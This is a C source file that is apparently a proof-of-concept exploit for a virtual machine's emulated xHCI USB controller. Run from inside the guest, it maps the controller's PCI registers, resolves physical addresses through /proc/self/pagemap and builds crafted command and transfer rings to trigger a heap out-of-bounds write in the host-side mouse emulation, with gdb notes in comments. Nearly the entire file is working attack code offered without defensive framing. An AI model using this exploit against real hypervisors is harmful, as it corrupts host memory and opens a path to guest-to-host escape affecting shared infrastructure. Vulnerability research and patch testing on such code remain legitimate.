#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <netinet/in.h>


#define IOBASE 	 		0xc040
#define USB_PIC_FILE 	"/sys/devices/pci0000:00/0000:00:04.0/resource0"

#define USBCMD_RS       (1<<0)
#define USBCMD_HCRST    (1<<1)
#define USBCMD_INTE     (1<<2)
#define USBCMD_HSEE     (1<<3)
#define USBCMD_LHCRST   (1<<7)
#define USBCMD_CSS      (1<<8)
#define USBCMD_CRS      (1<<9)
#define USBCMD_EWE      (1<<10)
#define USBCMD_EU3S     (1<<11)
#define TRB_TR_ENT          (1<<1)
#define TRB_TR_ISP          (1<<2)
#define TRB_TR_NS           (1<<3)
#define TRB_TR_CH           (1<<4)
#define TRB_TR_IOC          (1<<5)
#define TRB_TR_IDT          (1<<6)

#define TRB_TYPE_SHIFT          10
#define TRB_CR_SLOTID_SHIFT     24
#define TRB_CR_SLOTID_MASK  0xff
#define TRB_CR_EPID_SHIFT       16
#define TRB_CR_EPID_MASK    0x1f

#define PFN_PRESENT     (1ull << 63)
#define PFN_PFN         ((1ull << 55) - 1)
#define PAGE_SHIFT  	12
#define PAGE_SIZE   	(1 << PAGE_SHIFT)
#define USB_TOKEN_IN    		0x69 // device -> host
#define USB_TOKEN_SETUP 		0x2d
#define USB_TOKEN_OUT   		0xe1

#define EP_TYPE_SHIFT           3
#define TRB_C               (1<<0)

typedef enum TRBType {
    TRB_RESERVED = 0,
    TR_NORMAL,
    TR_SETUP,		//2
    TR_DATA,
    TR_STATUS,		//4
    TR_ISOCH,
    TR_LINK,		//6
    TR_EVDATA,
    TR_NOOP,
    CR_ENABLE_SLOT,
    CR_DISABLE_SLOT,
    CR_ADDRESS_DEVICE,
    CR_CONFIGURE_ENDPOINT,
    CR_EVALUATE_CONTEXT,
    CR_RESET_ENDPOINT,
    CR_STOP_ENDPOINT,
    CR_SET_TR_DEQUEUE,
    CR_RESET_DEVICE,
    CR_FORCE_EVENT,
    CR_NEGOTIATE_BW,
    CR_SET_LATENCY_TOLERANCE,
    CR_GET_PORT_BANDWIDTH,
    CR_FORCE_HEADER,
    CR_NOOP,
    ER_TRANSFER = 32,
    ER_COMMAND_COMPLETE,
    ER_PORT_STATUS_CHANGE,
    ER_BANDWIDTH_REQUEST,
    ER_DOORBELL,
    ER_HOST_CONTROLLER,
    ER_DEVICE_NOTIFICATION,
    ER_MFINDEX_WRAP,
    CR_VENDOR_NEC_FIRMWARE_REVISION  = 49,
    CR_VENDOR_NEC_CHALLENGE_RESPONSE = 50,
} TRBType;


typedef enum EPType {
    ET_INVALID = 0,
    ET_ISO_OUT,
    ET_BULK_OUT,
    ET_INTR_OUT,
    ET_CONTROL,
    ET_ISO_IN,
    ET_BULK_IN,
    ET_INTR_IN,
} EPType;

typedef uint64_t dma_addr_t;

struct xhcitrb {
    uint64_t parameter;
    uint32_t status;
    uint32_t control;
    dma_addr_t addr;
    bool ccs;
};


char *dmabuf, *mmio_xhci;



uint64_t gva_to_gfn(void *addr)
{
    uint64_t pme, gfn;
    size_t offset;
	
	int fd = open("/proc/self/pagemap", O_RDONLY );
	if (fd < 0) 
	{
		perror("open(/proc/self/pagemap)");
		exit(1);
	}
	
    offset = ((uintptr_t)addr >> 9) & ~7;
    lseek(fd, offset, SEEK_SET);
    read(fd, &pme, 8);
	close( fd );
	
    if (!(pme & PFN_PRESENT))
        return -1;
    gfn = pme & PFN_PFN;
    return gfn;
}


uint32_t page_offset(uint32_t addr)
{
    return addr & ((1 << PAGE_SHIFT) - 1);
}


uint64_t virt_to_phys(void *addr)
{
    uint64_t gfn = gva_to_gfn(addr);
    assert(gfn != -1);
    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);
}


void xchi_write(uint32_t addr, uint32_t value)
{
    *((uint32_t *)(mmio_xhci + addr)) = value;
}

uint64_t xchi_read(uint32_t addr)
{
    return *((uint64_t *)(mmio_xhci + addr));
}
 
 
int init()
{	 
	int xhci_fd = open(USB_PIC_FILE, O_RDWR | O_SYNC);
    if( xhci_fd < 0 )
    {
        perror("xhci_fd open failed");
		return -1;
    }
	
	mmio_xhci = (char *)mmap(0, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED, xhci_fd, 0);
    if( mmio_xhci == MAP_FAILED )
    {
        perror("mmap mmio_xhci failed");
		return -1;
    }
	printf( "mmap(xhci_fd) ok,mmio_xhci=%p\n", (void *)mmio_xhci );
	
	dmabuf = (char *)mmap(0, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (dmabuf == MAP_FAILED)
    {
        perror("mmap(0x5000)");
		return -1;
    }
	//printf( "mmap(dmabuf) ok,dmabuf=%p\n", dmabuf );
	
    mlock( dmabuf, 0x2000 );  
}


//ok, heap oob-write in usb_mouse_poll()
//(gdb) p/x buf =$1 = 0x7fff8c8b4b20
//(gdb) p/x len = $2 = 0x1
int heap_oob_write()
{	
	int i;
	uint32_t *ctx, *tmp;
	uint64_t phy_cmd, phy_ctx;
	struct xhcitrb *trb;	
	unsigned int port, epid, streamid, slotid;
	uint64_t setup_len,request,value,index;
	
	//xhci_run
	xchi_write( 0x40, USBCMD_RS );	
	
	phy_cmd = virt_to_phys( dmabuf );	
	phy_ctx = virt_to_phys( dmabuf+0x1400 );	
	printf( "phy_cmd=0x%lx,phy_ctx=0x%lx\n", phy_cmd, phy_ctx );	
		
	//set xhci->crcr_low&crcr_high, call xhci_ring_init()
	xchi_write( 0x40+0x18, phy_cmd&0x00000000ffffffff );
	xchi_write( 0x40+0x1c, (phy_cmd&0xffffffff00000000)>>32 );
	
	
	trb = (struct xhcitrb *)dmabuf;
	ctx = (uint32_t *)(dmabuf+0x1400);
	
	//one trb enable one port
	trb = (struct xhcitrb *)(dmabuf);	//enable port=3
	trb->control = (CR_ENABLE_SLOT << TRB_TYPE_SHIFT) | 0x1;
	
	trb = (struct xhcitrb *)(dmabuf+0x10);	//enable port=4
	trb->control = (CR_ENABLE_SLOT << TRB_TYPE_SHIFT) | 0x1;
	
	trb = (struct xhcitrb *)(dmabuf+0x20);	//enable port=5
	trb->control = (CR_ENABLE_SLOT << TRB_TYPE_SHIFT) | 0x1;
	
	trb = (struct xhcitrb *)(dmabuf+0x30);	//enable port=6
	trb->control = (CR_ENABLE_SLOT << TRB_TYPE_SHIFT) | 0x1;
	
	trb = (struct xhcitrb *)(dmabuf+0x40);	//enable port=7
	trb->control = (CR_ENABLE_SLOT << TRB_TYPE_SHIFT) | 0x1;
	
	//xhci_process_commands	---> xhci_enable_slot
	xchi_write( 0x2000, 0 );		
	
	//p xhci->slots[1].eps = {0x7fffe43d6570, 0x0, 0x7fffe437d370}
	//epid must be 1, for  xhci_enable_ep() in xhci_address_slot
	epid = 0x3;
	//slotid = 0x2;
	//xhci->slots[i].uport = desc_device_wacom
	slotid = 0x3;
	//port=6+1 for desc_device_wacom, gdb in xhci_lookup_uport()
	port = 0x7;
	streamid = 3;	
	
	//xhci_process_commands --> xhci_address_slot 
	trb = (struct xhcitrb *)(dmabuf+0x50);	//start form 0x40+0x10=0x50
	trb->parameter = phy_ctx;	
	trb->control = (CR_ADDRESS_DEVICE<<TRB_TYPE_SHIFT) |(epid<<TRB_CR_EPID_SHIFT) |(slotid<<TRB_CR_SLOTID_SHIFT)|0x1;
	
	ctx[0] = 0x0;					
	ctx[1] = 0x3;
	ctx[8] = 0x0;			
	ctx[9] = port<<16;				//port=6+1 for desc_device_wacom, gdb in xhci_lookup_uport()	
	//ictx+32+(32*i), (32+32)/4=16
	ctx[16+0] = 0x0;				//max_pstreams	
	ctx[16+1] = 0x10<<16;			//max_psize	
	ctx[16+2] = phy_cmd+0x800;			//dequeue	
	ctx[16+3] = 0;						//dequeue	
	
	//xhci_process_commands --> xhci_configure_slot 
	trb = (struct xhcitrb *)(dmabuf+0x60);
	trb->parameter = phy_ctx+0x200;	
	trb->control = (CR_CONFIGURE_ENDPOINT<<TRB_TYPE_SHIFT) |(epid<<TRB_CR_EPID_SHIFT) |(slotid<<TRB_CR_SLOTID_SHIFT)|0x1;
	
	//0x200/4=0x80
	ctx[0x80+0] = 0x0;		
	ctx[0x80+1] = 0x1|1<<2|1<<3|1<<4|1<<5|1<<6;
	for( i=1; i<5; i++ )
	{
		//dma_addr_t ictx, ictx+32+(32*i), (32+32)/4=16
		ctx[0x80+8+8*i+0] = 0x1<<10|0x1<<15;				//max_pstreams(ctx[0] >> 10) & epctx->lsa(ctx[0] >> 15)	
		ctx[0x80+8+8*i+1] = ET_BULK_IN<<EP_TYPE_SHIFT;	//epctx->type
		ctx[0x80+8+8*i+2] = phy_cmd+0x600;			//ep_ctx, dequeue
		ctx[0x80+8+8*i+3] = 0;						//dequeue	
	}
	
	//for phy_cmd+0x600, make xhci_kick_epctx -> xhci_ring_fetch() ok
	trb = (struct xhcitrb *)(dmabuf+0x600);	
	trb->control = (TR_STATUS<<TRB_TYPE_SHIFT)|TRB_TR_IDT;		//ccs = 0x0
	trb->status = 0x8;
	trb->parameter = 0x1;
	
	//stctx[i].pctx = base + streamid * 16;, streamid=3,stctx[3].pctx=dmabuf+0x600+0x30
	tmp = (uint32_t *)(dmabuf+0x600+streamid*16);
	tmp[0] = 1<<1|phy_cmd+0x800;	//set ring->->dequeue=phy_cmd+0x800
	tmp[1] = 0;					//ctx[1]=0
	
	xchi_write( 0x2000, 0 );	
	
	
	request = 0x11;
	value = 0x22;
	index = 0x33;
	setup_len = 0x40;
	
	//first TR_SETUP, second TR_STATUS
	trb = (struct xhcitrb *)(dmabuf+0x800);	
	trb->control = (TR_SETUP<<TRB_TYPE_SHIFT)|TRB_TR_IDT|TRB_C;		//ccs = 0x1
	trb->status = 0x8;
	trb->parameter = 0x8|0x80|(setup_len&0xff)<<48|(setup_len&0xff00)<<56|(request&0xff)<<8|(value&0xff)<<16|(index&0xff)<<32;		//0x80 for xfer->in_xfer=USB_TOKEN_IN
	printf( "parameter=0x%lx\n", trb->parameter );
	
	trb = (struct xhcitrb *)(dmabuf+0x810);
	trb->control = (TR_NORMAL<<TRB_TYPE_SHIFT)|TRB_C;		//ccs = 0x1
	//set q->iov.iov_len=0x1, in usb_mouse_poll(), buf[2] = dy; will oob-write
	trb->status = 0x1;		//chunk = trb->status, for qsg->sg.len= trb->status, q->iov.iov_len=qsg->sg.len=trb->status.
	
	trb->parameter = phy_cmd+0x1000;
	
	trb = (struct xhcitrb *)(dmabuf+0x820);
	trb->control = (TR_STATUS<<TRB_TYPE_SHIFT)|TRB_TR_IDT|TRB_C;		//ccs = 0x1
	trb->status = 0x8;	
	
	//xhci_doorbell_write
	xchi_write( 0x2000+slotid*4, epid|streamid<<16 );
		
	return 0;
}





int main( int argc, char *argv[] )
{
	iopl(3);
	
	init();		

	heap_oob_write();
	
	getchar();
	
	return 0;
}